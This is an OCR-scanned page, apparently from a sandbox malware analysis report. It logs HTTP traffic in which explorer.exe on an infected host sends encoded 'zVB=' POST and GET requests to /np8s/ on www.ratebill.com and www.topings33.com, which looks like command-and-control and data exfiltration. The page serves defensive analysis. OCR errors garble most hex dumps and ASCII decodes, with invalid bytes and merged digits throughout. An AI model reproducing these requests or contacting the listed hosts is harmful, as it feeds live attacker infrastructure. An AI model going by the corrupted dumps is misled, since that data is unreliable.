Data Raw: 00 00 00 00 00 00 00

Data Ascii:

May 27, 2022 9916 IN HTTP/1.1 200 OK

18:44:47.168735981 Server: nginx

CESI Date: Fri, 27 May 2022 16:44:47 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Expires: Fri, 27 May 2022 17:44:47 GMT
Cache-Control: max-age=3600
Cache-Control: public
Data Raw: 65 33 66 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 3e Oa 3c 68 65 61 64 3e 0a 20
2020 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d
65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74
68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 77 77 77 2e 6C
6f 63 61 6¢ 62 6¢ 6f 6f 6d 2e 6f 6e 6¢ 69 6e 65 20 69 73 20 70 61 72 6b 65 64 3¢ 2f 74 69 74 6¢ 65 3e 0a 20 20 20 20 3¢
7374 79 6¢ 65 3e 0a 0a 2a 20 7b 6d 61 72 67 69 6e 3a 20 30 3b 70 61 64 64 69 6e 67 3a 20 30 3b 7d 0a Oa 62 6f 64 79
20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 63 63 63 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 41 72 69 61 6¢
2c 20 48 65 6¢ 76 65 74 69 63 61 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b Oa 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70
74 3b 0a 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d Oa 0a 68 31 20 7b Oa 6d 61 72 67 69 6e 3a 20
3130 70 78 20 61 75 74 6f 20 32 30 70 78 20 31 30 70 78 3b Oa 63 6f 6¢ 6f 72 3a 20 23 33 34 39 38 64 62 3b Oa 7d Oa
0a 70 20 7b 0a 64 69 73 70 6¢ 61 79 3a 20 69 6e 6¢ 69 6e 65 2d 62 6¢ 6f 63 6b 3b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20
3230307078 3b0a6d 617267 69 6e 3a 20 61 75 74 6f 20 33 30 70 78 20 31 30 70 78 20 33 30 70 78 3b Oa 7d Oa Oa
2e 63 6f 6e 74 61 69 6e 65 72 20 7b Oa 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69 76 65 3b 0a 74 65 78 74 2d 61 6¢
69 67 6e 3a 20 6¢ 65 66 74 3b 0a 6d 69 6e 2d 68 65 69 67 68 74 3a 20 32 30 30 70 78 3b 0a 6d 61 78 2d 77 69 64 74 68
3220383030 70 78 3b Oa 6d 69 6e 2d 77 69 64 74 68 3a 20 34 35 30 70 78 3b 0a 6d 61 72 67 69 6e 3a 20 31 35 25 20
61 75 74 6f 20 30 70 78 20 61 75 74 6f 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 3b Oa 62 6f 72 64
6572 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b Oa 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b Oa 62 6f 78 2d 73 69 7a
69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b Oa 7d 0a Oa 69 6d 67 2e 6¢ 6f 67 6f 20 7b 0a 77 69 64 74 68 3a 20 61 75
74 6f 3b 0a 6d 61 78 2d 68 65 69 67 68 74 3a 20 35 30 70 78 3b Oa 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b
0a 62 6f 72 64 65 72 3a 20 30 3b Oa 7d Oa Oa 2e 6¢ 6f 67 6f 63 6f 6e 74 20 7b Oa 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63
65 6e 74 65 72 3b 0a 7d Oa Oa 2e 6¢ 61 6e 67 73 65 6¢ 65 63 74 20 7b Oa 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6¢ 75
74 65 3b 0a 74 6f 70 3a 20 31 30 70 78 3b 0a 72 69 67 68 74 3a 20 31 30 70 78 3b Oa 7d Oa Oa 2e 6¢ 61 6e 67 73 65 6¢
65 63 74 20 69 6d 67 20 7b Oa 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69 76 65 3b 0a 77 69 64 74 68 3a 20 61 75
74 6f 3b 0a 62 6f 72 64 65 72 3a 20 30 3b 0a 6d 61 72 67 69 6e 3a 20 32 70 78 3b 0a 68 65 69 67 68 74 3a 20 31 35 70
78 3b 0a 7d Oa Oa 2e 66 6f 6f 74 65 72 20 7b 0a 63 6f 6¢ 6f 72 3a 20 23 61 61 61 3b 0a 6d 61 72 67 69 6e 3a 20 31 65 6d
2061 75 74 6f 20 30 70 78 20 61 75 74 6f 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 38 70 74 3b 0a 74 65 78 74 2d 61 6¢
69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20 34 35 30 70 78 3b Oa 7d Oa 0a 20 20 20 20 3¢
2f 73 74 79 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa
Data Ascii: e3f<IDOCTYPE html><html><head> <meta charset="UTF-8"> <meta name="viewport" content="width=d
evice-width, initial-scale=1.0"> <title>www.localbloom.online is parked</title> <style>* {margin: O;padding: 0;}body
{background: #ccc;font-family: Arial, Helvetica, sans-serif;font-size: 11pt;text-align: center;}h1 {margin: 10px auto 20px
10px;color: #3498db;}p {display: inline-block;min-width: 200px;margin: auto 30px 10px 30px;}.container {position: relative;t
ext-align: left;min-height: 200px;max-width: 800px;min-width: 450px;margin: 15% auto Opx auto;background: #FFF
FFF;border-radius: 20px;padding: 20px;box-sizing: border-box;}img.logo {width: auto;max-height: 50px;margin-top:
30px;border: 0;}.logocont {text-align: center;}.langselect {position: absolute;top: 10px;right: 10px;}.langselect img {position:
relative;width: auto;border: O;margin: 2px;height: 15px;}.footer {color: #aaa;margin: 1em auto Opx auto;font-size: 8pt;text-
align: center;min-width: 450px;}  </style></head><body>

Session ID Source IP Source Port Destination IP Destination Port Process

33 192.168.2.5 49950 137.220.133.198 80 C:\Windows\explorer.exe
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kBytes

Timestamp A Direction
May 27, 2022 9927 ouT
18:44:57.722872019
CEST
Session ID Source IP Source Port
34 192.168.2.5 49951
kByt:
Timestamp yes Direction
transferred
May 27, 2022 9941 ouT
18:44:58.091213942
CEST

Copyright Joe Security LLC 2022

Data

POST /np8s/ HTTP/1.1

Host: www.ratebill.com

Connection: close

Content-Length: 409

Cache-Control: no-cache

Origin: http://www.ratebill.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.ratebill.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 42 43 6b 47 48 6¢ 45 74 28 69 41 49 73 62 79 4d 43 49 54 4c 48 75 7e 4f 39 6b 6b 73 45 30 56 74
4f 75 70 6b 66 30 4b 53 4e 56 55 4e 73 74 44 44 57 6f 44 62 48 6d 4e 42 7e 67 72 55 72 68 4f 4a 67 36 78 71 78 43 75
38 65 42 61 63 38 68 54 6f 54 65 61 79 54 37 36 31 44 70 78 70 44 74 4f 6e 71 7a 54 45 6f 4c 64 56 68 54 72 38 70 76
45 67 50 59 7e 4f 39 69 38 61 6a 30 68 37 28 39 6d 56 55 5a 5a 70 74 47 6b 49 77 45 44 5a 74 45 39 49 78 42 67 41 37
5f 33 38 6¢ 62 4d 75 41 4b 67 7a 67 42 4c 65 68 55 5a 4e 57 57 48 6f 4d 51 6a 6d 44 5f 5a 52 72 47 35 70 28 75 7e 36 4a
46 43 63 32 53 39 46 64 52 4a 76 76 39 62 33 72 45 69 56 4e 65 28 51 6¢ 38 75 64 41 5f 6d 74 72 38 72 4a 39 63 48 4c
4b 4a 38 6a 78 34 55 53 45 4c 70 6b 58 55 62 5f 73 57 72 32 6e 44 38 39 72 47 6¢ 30 6f 4d 4b 33 63 38 55 64 75 43 36
55 45 62 74 4d 46 5a 54 7a 77 35 69 4f 75 4e 4d 50 76 77 46 43 46 51 7a 6f 62 4e 51 4e 55 4c 4f 32 36 55 75 51 4b 69
3347797559 6¢ 77 76 69 6f 62 61 32 33 31 73 57 39 4e 4a 54 77 6f 48 78 72 61 4f 79 6¢ 38 49 72 35 70 45 7a 6¢ 71 45
76 79 45 43 4e 6¢ 4e 41 39 77 68 49 6f 54 48 44 7e 72 4e 34 37 4a 39 4d 36 5f 37 45 38 6¢ 42 4a 48 6e 35 31 49 4e 4f 41
6d 53 4d 48 31 30 31 35 58 4e 63 43 6e 30 38 67 29 2e 00 00 00 00 00 00 00 00

Data Ascii: ZVB=BCkGHIEt(iAlsbyMCITLHu~O9kksEOVtOupkfOKSNVUNstDDWoDbHmMNB~grurhOJgéxgqxCu8eB
ac8hToTeayT761DpxpDtOngzTEoLdVhTr8pvEgPY~09i8aj0h7(9mVUZZptGKIWEDZtEQIXBgA7_38lbMuAKgzgBLe
hUZNWWHoMQjmD_ZRrG5p(u~6JFCc2S9FdRIVWIb3rEIVNe(QI8udA_mtr8rJ9cHLKJI8jx4USELpkXUb_sWr2nD89rG
100MK3c8UduC6UEbtMFZTzw5iOuNMPVvWFCFQzobNQNULO26UuQKi3GyuYIwvioba231sWINJITwoHxraOyl8Ir5pEzI
gEVYECNINA9WhIOTHD~rN47J9M6_7E8IBIJHN51INOAMSMH1015XNcCn08g).

Destination IP Destination Port Process
137.220.133.198 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.ratebill.com

Connection: close

Content-Length: 36477

Cache-Control: no-cache

Origin: http://www.ratebill.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.ratebill.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 42 43 6b 47 48 6e 51 37 78 32 77 56 78 62 50 73 57 65 58 66 50 5f 75 4d 78 30 6f 6a 61 47 51 74
4b 61 74 61 41 68 32 6a 63 67 51 62 6f 64 65 54 53 75 58 54 48 6e 38 6¢ 77 7a 50 75 76 42 4b 4b 67 37 56 55 78 43 71
3866 41 79 4d 38 47 66 4f 55 38 69 39 52 62 36 4a 45 70 77 76 56 63 53 4b 71 7a 57 52 6f 4c 45 4b 68 6a 48 38 6f 4e
38 67 4a 5a 7e 4a 69 53 38 44 67 30 52 6e 37 39 72 48 55 5a 42 68 74 43 6b 49 78 30 50 5a 33 6b 74 4a 6d 57 4d 44 6a
5f 32 58 7a 4c 4d 4e 4f 71 6¢ 41 67 42 48 77 68 52 35 4e 57 41 76 6f 44 67 44 6d 49 75 5a 53 7e 6d 35 73 73 2d 7e 6a
4e 46 50 45 32 53 52 5a 64 56 52 56 75 49 62 33 6¢ 55 69 59 63 5f 37 75 75 39 75 30 43 5f 53 61 72 39 58 6b 39 4e 71
59 4b 4c 35 47 6e 36 4d 70 59 2d 31 65 58 52 4c 42 76 32 71 5f 76 6a 38 71 72 47 6¢ 45 6f 4d 4b 5a 63 39 6b 64 75 44
79 55 46 49 46 4d 48 61 36 6¢ 76 5a 69 4c 71 4e 4d 72 7e 67 5a 75 46 51 71 6d 62 4d 39 49 55 37 69 32 37 45 53 51 65
33724877 7559 6a 67 5f 69 67 66 61 32 34 31 7357 4c 4e 4953 74 76 30 31 72 49 76 79 6¢ 73 61 44 35 6¢ 55 7a 6C
6d 6b 76 77 4c 69 42 50 4e 41 31 38 68 49 5a 6d 48 77 53 72 49 36 44 4a 7a 4a 61 5f 34 30 38 6¢ 4f 70 48 35 32 30 52
42 47 77 75 5f 4c 6e 30 44 70 61 43 36 53 47 76 5f 67 75 48 56 41 34 78 5a 4d 6f 70 2d 31 65 47 35 79 72 55 52 33 54
56 69 4b 78 7e 4c 75 5f 35 4d 67 6d 58 36 43 58 69 31 38 4b 52 4e 73 48 6f 56 49 73 4b 46 4c 4a 68 42 68 73 31 4f 58 6f
7e 67 76 53 53 77 55 65 68 52 71 73 71 67 49 58 32 5a 4e 6b 77 6¢ 7a 69 43 6b 52 6¢ 49 77 39 61 45 43 55 61 7a 30 41
50 70 73 41 57 70 47 6d 55 64 39 74 53 44 33 54 6e 74 38 6a 63 58 43 41 78 6e 48 47 63 4c 30 54 63 69 53 68 64 4d 6f
314455576451 714154415363 7e747e69 775947 46 4a 76 32 79 68 41 6b 6e 41 76 58 5a 73 57 28 4b 53 71 57
4d 64 68 57 78 4f 59 6¢ 74 5a 30 55 41 71 48 45 6f 46 73 76 74 6¢ 6a 54 31 43 71 7a 2d 50 6b 53 4f 28 4c 47 74 65 34 41
6e 39 66 6d 4d 69 71 79 52 68 6¢ 6 42 6e 36 56 74 76 6a 7e 47 7a 75 69 6e 78 54 58 78 61 4d 64 54 36 47 62 35 36 4b
6357 49 49 62 74 28 37 5a 4f 79 71 71 68 57 67 5a 4c 6¢ 6b 75 77 44 32 66 78 70 37 31 51 68 61 74 41 6a 2d 4f 6¢ 4b
383067 7431 7e 54 77 70 42 61 47 69 61 53 50 74 36 41 63 41 35 32 36 2d 63 38 28 67 7a 43 41 76 6a 49 4c 69 78 51
61 33 43 6f 6a 6e 4b 64 5a 59 50 4d 46 45 6e 50 73 74 63 36 28 61 48 73 73 66 4b 68 45 30 53 79 59 4b 28 31 66 55 55
5538 66 57 4c 6d 34 70 63 71 47 39 6f 36 5f 4a 39 75 2d 76 5a 45 6a 4e 33 37 61 4a 4a 69 75 46 74 38 5f 79 6d 73 6e
54 4b 78 67 66 2d 58 63 44 6d 56 39 4b 61 43 74 47 51 76 58 38 55 65 71 79 69 59 52 75 4a 4e 4f 32 43 4e 67 79 4e 6C
69 59 64 65 4c 79 4a 35 4e 37 58 55 31 72 66 4a 39 35 39 38 30 4f 36 4d 36 75 35 42 76 6b 41 53 46 55 35 61 4e 7e 50
6d 69 65 59 55 77 75 50 64 33 30 6f 47 50 68 2d 30 73 30 37 42 37 58 62 36 5f 6e 4d 51 47 6¢ 5f 58 6b 78 4c 5a 4d 76 53
7161 48 75 50 6a 49 79 38 70 45 6e 46 38 50 70 67 36 58 7a 41 66 7e 74 50 55 63 5a 54 56 4b 6f 6a 37 7a 5a 56 30 6¢
30 757851 2d 7e 67 74 61 6a 6a 47 7a 55 55 76 42 59 6b 55 66 53 59 39 73 4c 30 34 70 7e 48 6a 57 61 30 78 72 6e 30
5a 4c 45 55 46 59 79 41 4e 6a 37 62 65 67 6b 32 50 4b 79 48 68 36 62 31 62 4a 69 54 4a 6d 59 67 44 4e 46 71 76 55 75
31 45 4f 6d 46 53 74 4d 59 38 57 37 67 72 4c 72 61 39 62 69 44 56 2d 75 74 67 47 4e 69 42 6¢ 33 6e 52 37 34 4d 51 75
48 67 6e 68 32 43 34 4a 38 76 6¢ 6b 48 2d 73 66 51 2d 76 78 69 4b 43 70 53 46 41 6f 79 59 73 73 79 51 57 4b 4b 54 61
76 79 35 35 31 69 59 62 75 58 4d 6b 4c 52 5a 78 45 6e 5f 61 49 63 39 65 6b 72 42 35 43 4e 59 5a 4e 74 68 59 74 7e 72
5147 42 2d 63 47 56 33 75 62 50 57 70 65 58 4c 48 49 64 4f 72 50 6f 42 70 31 66 72 38 6b 73 61 61 74 57 75 57 54 47
4e 79 62 51 6e 4c 5a 71 64 51 77 35 32 78 37 4a 39 74 6f 4b 6e 7e 56 54 78 32 63 41 55 46 4f 6a 6a 39 6f 32 36 6d 52
51 4f 37 53 46 41 68 4b 38 55 62 58 73 4e 79 34 4a 67 28 31 55 50 58 58 48 71 71 58 34 67 7e 4c 52 5a 31 61 51 45 43
32 6b 78 4d 78 5a 34 64 34 57 4d 68 4f 78 58 73 4c 70 45 4f 53 39 76 5a 74 61 76 58 39 53 4b 47 64 4a 6¢ 57 51 56 33
65 5f 75 64 4b 58 4c 59 4c 73 6¢ 44 67 41 31 58 56 4c 75 75 37 57 75 34 55 69 64 75 41 62 36 46 53 30 65 73 6e

Data Ascii: ZVB=BCkGHNQ7x2wVxbPsWeXfP_uMx0ojaGQtKataAh2jcgQbodeTSuXTHn8lwzPuvBKKg7VUXCq8fA

VM8GfOUBiI9Rb6JEDWVVcSKazWRoLEKhiH80N8aJZ~JiS8Da0RN79rHUZBhtCKIXOPZ3ktImMWMDI 2XzLMNOalAaBHwW
Page 57 of 79



kBytes hR5NWAvoDgDmIuZS~m5ss-~jNFPE2SRZdVRVulb3lUiYc_7uu9u0C_Sar9Xk9NqYKL5Gn6MpY-1eXRLBv2q_vj8qrG
Timestamp Y Direction Rata : : .

transferred KZc9kduDyUFIFMHa6IvZiLgNMr~gZuFQqmbM9IU7i27ESQe3rHwuYjg_igfa241sWLNIStvO1rlvylsaD5|UzI
mkvwLiBPNA18hIZmHwSrI6DJzJa_408l0pH520RBGwu_Ln0DpaC6SGv_guHVA4xZMop-1eG5yrUR3TViKx~Lu_5Mgm
X6CXi18KRNsHoVIsKFLIhBhs10Xo~gvSSwUehRqgsqgIX2ZNkwlziCkRIlw9aECUaz0APpsAWpGmUd9tSD3Tnt8jcXC
AxnHGcLOTciShdMo1DUWdQQATASc~t~iwY GFJIv2yhAknAvXZsW(KSqWMdhWxOY[tZOUAgHEoFsvtljT1Cqz-PkSO(L
Gte4An9fmMigyRhloBn6Vivj~GzuinxTXxaMdT6Gb56KcWIIbt(7Z0yqghWgZLIkuwD2fxp71QhatAj-OIK80gt1~T
wpBaGiaSPt6AcA526-c8(gzCAvjlLixQa3CojnKdZYPMFENPstc6(aHssfKhEOSy YK (1fUUUBfWLmM4pcqG906_J9u-
VZEjN37aJJiuFt8_ymsnTKxgf-XcDmV9KaCtGQvX8UeqyiYRuINO2CNgyNIiYdeLyJ5N7XU1rfJ9598006M6u5BvkA
SFU5aN~PmieYUwuPd300GPh-0s07B7Xb6_nMQGI_XkxLZMvSqgaHuPjly8pEnF8Ppg6XzAf~tPUcZTVKoj7zZV0I0uxQ-
~gtajjGzUUVBYkUfSY9sL04p~HjWa0xrn0ZLEUFYyAN;7begk2PKyHh6b1bJiTImYgDNFqvUU1EOMFStMY8W7grL
ra9biDV-utgGNiBI3nR74MQuHgnh2C4J8vIkH-sfQ-vxiKCpSFAoyYssyQWKKTavy551iYbuXMkLRZXEn_alc9ekrB
5CNYZNthYt~rQGB-cGV3ubPWpeXLHIdOrPoBp1lfr8ksaatWuWTGNybQnLZqdQw52x7J9toKn~VTx2cAUFOjj9026mR
QO7SFAhK8UbXsNy4Jg(1UPXXHqgX4g~LRZ1aQEC2kxMxZ4d4WMhOXXsLpEOS9vZtavX9SKGAIIWQV3e
udKXLYLsIDgA1XVLuu7Wu4UiduAb6FS0esn4xitGtmwfGGcorGyCyKNwTnrXOJg_uMHCIXIuTBRQOzxK1avDKcnKMb
NbQoJ1Y5jElqCsidZvexmcXAyp3MloaKQ~S9eOP~6BVbCcN4vQwwRBRNNz5gZb5QcjkYNxrFhBCbhimFEbkkLO9KO0e
JIEZ57c¢7BNBH5H8Z(PnnClziYry8sZNF(JC3ael FAFKz2nng5UuHgiFj3Z(gJsPN3qHSIGxX77FIrHFZRGGA3GG-9p
im6ZjBCwP13LFzEPQ-QQm23jy_vmiaWeiJSbPdL3ybD5KBFGQBbJ4ynWxxhgLzEFtmg3Ipiw5157 Tm7w49WJ3Q6dJG
piicbEtJjvtks0iSIHRcd4094gf9BHiUe10ELPgsPhgoOgjyiGMTTOXLbbObkNxvzQI60G~whowv~moO5NVwyRUfCx
WQrPBGfeiAjMzvY4k0xoqu(QekoAiE296ki-uRvogcpb2ZX-vixwXFmhOWhgjhoJWiJPOuMZ\VVp0r5947GBWf8x8IF
QU9aH3n5tqwHhD0zIQAMR-KkHDXChESOG7D7G(zGWPaoAQy7LJsO10SGhmTSZ4 QJLZNOCoNggqS2LQI9
h648DjPvhpg3Sk6ilug3uelAiYx4rGbHROYINch5Y8f1RiUC05IbBKNORXjKIJRUAhU40bgBYtkA2BA~I50rVY1JYWM
diUMR8dXbgWhaGLylkz4ALxgQnmrclLlorFrbHzLBjGwBYGrR8JptSq7aTXmCO05F3Lx0ufIBUNNXI4caUoVsXW6YHk
LT8nas5F(bLANNRVXvSGRhT40HJTVHPZBrTx410_FPz8dWLgr-1fMn~WtTvX6PxNf216U8(WoBXXrbgNDfyKoTyow6
Sgh255F74290V8IG4vwHd69PYH31QaFSLOfjl1lyYe~pZq908G39anHRPIntFb1ZtZPfuMEQ7rI5SM5kZtkGPd2LYCc
jhS11gqzFeA6gJcJOrDgrv3aNm3bJZFwalJLrkx~umBrHxQ11QjdRBJim(VsnU7gTXe65fuld3eKVwdSBYGZd5Rkgs3
1sSe7FFiSMC7J0O~1G2qJXWRYO0MkogUcyCorjy5Qrh1mxTdmAgJ6cwhnuURSIIsQx22hOZox_F1a300WFIF(IGk2aD7
XHAIMUiuH662Im6xyOyisM1oFMEgFtgWLXNbhQ6KVR3Gyj~iZ8xjbadI3tOpMe53gMItWQc9ajOuEDvVB1pnYLtUsUq
8XfMRZHPEmMrR5SRaCX5_BYe4nsidUXksVAOXxAr5yiOF5WFclhIHB4LVbK6QveiAetwmVKauxCNfUWA4IBhKsxDGXto
ylla0K~87xCtKN (k(sEnfdacHi9kKbJvnRN1q9pDVAppggqo9tRkYompF6Bbd 1vsMuVGUPWb57BWdTfsulZPUtjdBGa
jNz4RIOsDA(15TAECcsQ_~AXmpiWXCH5bbyA1G-Y30hSVfYmExz2sVqleMh6Xn1J5ief5SchO4tNgxuJ3Q9506-RwLh
PVloeLU-jHAMtfCDrOfiteaK7HBgc1UVZfc-5vuTCo87F_0TtacnAl~Rz-i-hjzIXNTF12jgC8ShJvOOAWXIXdLjNxR1IUSHVE4q
hokFCtLLLUDHX4vsplAFRX6Z2IAFSje4ib8g5cShA3fp4pZcxN2LAQq4)7s7zedyFLISY 1yo4UuZihZ9a94WpYhCh8p
WIOpER7vPaifUyjuYUcocO9iJR(V8_Z5(x1YShqtkOQ4i36f~zrZMprbhfDgv-M_IEnFhx(ZcLiud_ORL60ouJOobV7
MIwOwXEtetN1SVcedX7c421Y41dfkW8M_4pJh5bKGVI40OUE016nP-0c0DdytCv7r340a6S9d0TFOOPCGVNLSIUYUXrj
Mcn44eQPj5FBnBgLcilyMKe3GQk3EILfkOk2va(fAUXGOUBpeTZmqQn4QLvC2Vy6MMAgYJsMd28WhCjlyyAdXzKoil
x4gJlos1sYIKvha4d7dxBYEVjIrPpXz8XzCx7NXnIRMVEpAEHVSYGTjbAGEaNguVQGVKOkkdI6tGJusybX1jDOVAIA
7KQjwTFjlIna(JOOHmMgv6usw5ZCFsHRieulvxU65jgQbE_SZanmrlAIU(Q7x1B3ITxi5BINIJM600IdF50KRhbyAtQH
1BuOyFkviiSzjlkHpN7IiR_~x(-eYcigPVXvnUiKIMJIOpffuVj1UzNSfnc3sLzAiWgD8KoRc80Qbg8JqCh3wgBFPVT1
4FBi8KEWOErimH7RevU2bmdBHILKZTUU~ywwMMMyhXYkp9ZMNBZ0oJwSBO06T6vISIq44KWFowFBVop4zq
gG550u5g0Ywkt4ZhIKMDmJee2_oMZrohMS0ZpSOKHCaA7s5gu00XPddfadeZuGsAdCI1INCafrVWL(fzg~P2eEPCNEV
Xd5ldpn2vXXBwV5JV9~46a~SfDyTsYaR5fChi_d0ezn2DrxK7F490IBFdfr2k3AndKpDIO4fILvzpZIFvqICbDSyrn
TgEa7wXVanhZccfgHINhn28UZjabcB1TIFOBPGB2iD4HD2GLxn4W93T1enTtxXEiKadjPEDwPykpCjmoblpJcqZfoD
CroDYW8uuKivw7YR~XEMImssosZEg4e96MWf7t5FF2kR(buLrlXs6IP80ydmPUb1K504hL8ap98wain1fznoG32Lvr
HxJ_4aabJSgVZj~_d6Vs9hxuZFM07VoUulFMIcNgOi~CdpY880XFA5Pg~anVsVhlggC9

Session ID Source IP Source Port Destination IP  Destination Port Process
35 192.168.2.5 49952 137.220.133.198 80 C:\Windows\explorer.exe
kB!
Timestamp ytes Direction Data
transferred
May 27, 2022 9964 ouT GET /np8s/?4hM4=04B0f&zVB=0AQ8ZAk71VYHsoGBQeS0cLLvyBMKMIAsSKOta2CkcQgnl+jMatCDHWZEkBjakU6F
18:44:58.457839012 hLRf HTTP/1.1
CEST Host: www.ratebill.com

Connection: close
Data Raw: 00 00 00 00 00 00 00

Data Ascii:
May 27, 2022 9965 IN HTTP/1.1 200 OK
18:44:58.827672005 Server: Tengine
CEST Date: Fri, 27 May 2022 16:44:58 GMT

Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Data Raw: 31 0d Oa 2e 0d Oa 30 0d Oa Od Oa

Data Ascii: 1.0
Session ID Source IP Source Port Destination IP Destination Port Process
36 192.168.2.5 49955 162.0.230.89 80 C:\Windows\explorer.exe
Timestamp e Direction Data
transferred
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kBytes

Timestamp e Direction
May 27, 2022 9991 ouT
18:45:04.001216888
CEST
May 27, 2022 9991 IN
18:45:04.247493982
CESIl
Session ID Source IP Source Port
37 192.168.2.5 49958
. kBytes . .
Ti Di
imestamp transferred irection
May 27, 2022 10020 ouT
18:45:06.175256014
CEST

Copyright Joe Security LLC 2022

162.0.230.89 80

Data

POST /np8s/ HTTP/1.1

Host: www.topings33.com

Connection: close

Content-Length: 409

Cache-Control: no-cache

Origin: http://www.topings33.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.topings33.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 78 33 62 6f 4f 32 30 54 63 6b 62 46 62 45 58 79 63 37 47 52 61 54 64 70 54 53 62 71 63 39 4c 5a
48345845 3176 79 51 34 6a 76 47 62 61 4d 2d 38 79 31 62 64 76 59 67 48 50 49 74 35 69 6b 75 55 4e 54 53 31 5a 78
49 50 46 34 48 39 54 56 6b 69 36 6¢ 49 52 36 79 70 7e 4b 61 69 73 52 73 67 39 65 47 39 34 30 51 4b 7a 46 44 61 47 63
447353 703342 73 4d 39 36 77 37 335242 71 33 4a 79 38 72 71 32 46 79 30 4f 71 79 41 31 52 79 4d 39 57 35 77 73
55 28 56 44 52 4a 64 41 73 28 6d 62 64 69 63 28 64 70 53 35 56 47 42 63 39 41 2d 55 6f 6f 35 45 58 4f 57 68 33 70 59
63 71 67 70 72 6f 4f 38 38 2d 45 56 50 37 7a 4¢c 41 47 31 46 66 63 37 56 78 4a 63 50 75 35 38 63 72 49 77 77 46 68 77
39 55 6b 35 62 41 7a 76 4f 70 53 56 38 41 44 4f 5f 43 33 51 43 59 36 37 33 34 6b 70 54 57 73 56 2d 31 4a 66 34 4c 49 79
4f 7e 2d 61 77 65 6b 72 38 42 34 66 4d 44 74 71 6e 35 77 37 4a 76 4a 52 6b 62 78 71 75 6a 30 33 6¢ 61 56 36 6d 50 69
46 6d 6f 75 55 5f 66 6d 4e 51 43 73 34 4f 34 78 5a 4c 6d 6¢ 59 31 68 32 4d 59 6¢ 63 71 41 73 70 4c 76 76 7a 4d 38 31 51
34 46 64 35 43 4b 54 4a 75 38 50 38 54 74 32 78 4c 50 4a 47 42 58 4d 36 52 47 6¢ 68 6b 64 41 5a 59 39 28 68 68 36 47
553259 35 68 37 30 69 39 71 6d 66 53 7e 68 6b 51 29 2e 00 00 00 00 00 00 00 00

Data Ascii: ZVB=x3bo0O20TckbFbEXyc7GRaTdpTShqcILZH4XE1vyQ4jvGbaM-8ylbdvYgHPIt5ikuUNTS1ZxIPF
4AHITVki6lIR6yp~KaisRsg9eG940QKzFDaGcDsSp3BsM96w73ZBq3Jy8rg2Fy00gyA1RyMOW5wsU(VDRJIdAs(mbdic
(dpS5VGBCc9A-Uo05EXOWh3pYcqgproO88-EVP7zLAG1Ffc7VxJcPu58criwwFhw9Uk5bAzvOpSVBADO_C3QCY6734k
pTWsV-1JfALlyO~-awekr8B4fMDtqn5w7JvIRkbxqujo3laVémPiFmouU_fmNQCs404xZLmlY1h2MYlcgAspLvvzM8
1Q4Fd5CKTJIu8P8Tt2XxLPIGBXM6RGIhkdAZY9(hh6GU2Y5h70i9gmfS~hkQ).

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 16:45:04 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 279

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
4854 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74 20 46
